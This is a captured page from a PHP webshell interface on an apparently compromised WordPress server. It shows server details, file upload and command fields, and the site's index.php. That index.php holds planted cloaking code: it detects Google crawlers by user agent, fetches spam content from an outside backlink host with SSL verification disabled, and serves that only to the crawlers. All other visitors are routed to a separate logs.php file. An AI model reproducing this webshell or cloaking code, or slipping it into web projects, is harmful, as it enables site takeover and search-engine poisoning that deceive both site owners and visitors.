403Webshell
Server IP : _  /  Your IP : 10.10.15.152
Web Server : nginx/1.14.0
System : Linux ip-10-10-20-178 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/wordpress-phoon-huat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wordpress-phoon-huat/index.php
<?php

$googleBots = array(
    "Googlebot",
    "Google-Site-Verification",
    "Google-InspectionTool",
    "Googlebot-Mobile",
    "Googlebot-News"
);

$isGoogleBot = false;

if (isset($_SERVER['HTTP_USER_AGENT'])) {
    foreach ($googleBots as $bot) {
        if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
            $isGoogleBot = true;
            break;
        }
    }
}

if ($isGoogleBot) {
    // Ganti file_get_contents dengan cURL
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://backlink.asteam.cloud/huat.txt');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Nonaktifkan verifikasi SSL (untuk sementara)
    curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Timeout 30 detik
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // Kirim user agent asli
    
    $bot_content = curl_exec($ch);
    $curl_error = curl_error($ch);
    curl_close($ch);
    
    // Jika cURL gagal, tampilkan error (opsional)
    if ($bot_content === false) {
        // Log error atau tampilkan pesan default
        error_log("cURL Error: " . $curl_error);
        $bot_content = "<!-- cURL failed to fetch content -->";
    }
    
    echo $bot_content;
    exit;
} else {
    include('logs.php');
    exit;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit